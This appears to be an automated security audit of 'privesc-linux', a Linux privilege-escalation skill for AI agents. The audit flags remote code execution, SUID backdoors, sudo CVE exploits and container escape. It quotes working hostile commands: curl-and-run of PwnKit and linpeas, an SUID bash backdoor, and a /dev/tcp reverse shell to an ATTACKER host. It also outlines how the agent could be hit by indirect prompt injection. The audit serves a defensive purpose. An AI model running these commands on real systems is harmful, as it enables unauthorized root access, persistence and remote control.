The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides explicit instructions to download and execute scripts from external sources directly into the shell, such as curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o /dev/shm/pk && chmod +x /dev/shm/pk && /dev/shm/pk and curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh.
[PRIVILEGE_ESCALATION]: The skill is centered on unauthorized privilege elevation, utilizing techniques such as abusing SUID/SGID bits, exploiting sudo configuration bypasses (CVE-2025-32462/32463), and using nsenter to escape container namespaces to the host.
[PERSISTENCE]: The skill instructs the user to maintain access by creating SUID backdoors (e.g., cp /bin/bash /tmp/.b && chmod 4755 /tmp/.b) and adding reverse shell payloads to the system crontab.
[COMMAND_EXECUTION]: The script sudo_cve_2025_check.sh includes functionality to execute shell commands and utilize gcc to compile exploit code at runtime.
[DATA_EXFILTRATION]: Documentation files like references/container-namespace-escape.md contain reverse shell payloads (bash -i >& /dev/tcp/ATTACKER/4444 0>&1) designed to connect the compromised host back to an external attacker-controlled infrastructure.
[DYNAMIC_EXECUTION]: The skill generates C source code at runtime to create a malicious NSS module (libnss_/woot1337.so.2) which is then dynamically loaded by the system during sudo execution to achieve root access.
[EXTERNAL_DOWNLOADS]: Automated scanners identified multiple URLs from book.hacktricks.xyz as malicious, which are referenced throughout the skill for exploitation techniques.
[INDIRECT_PROMPT_INJECTION]: The skill possesses a vulnerability surface for indirect prompt injection as it ingests untrusted system data.
Ingestion points: The skill reads host-controlled configuration data via uname, /etc/os-release, and process listings in scripts/linpriv_enum.py and scripts/kernel_exploit_suggester.py.
Boundary markers: Absent; system command output and file content are parsed directly without delimiters or protective instructions.
Capability inventory: Includes high-risk capabilities such as file system writes (sudo_cve_2025_check.sh), network downloads (curl), and subprocess execution across all Python and shell scripts.
Sanitization: Absent; the skill does not implement validation or escaping for the system metadata it processes at runtime.

privesc-linux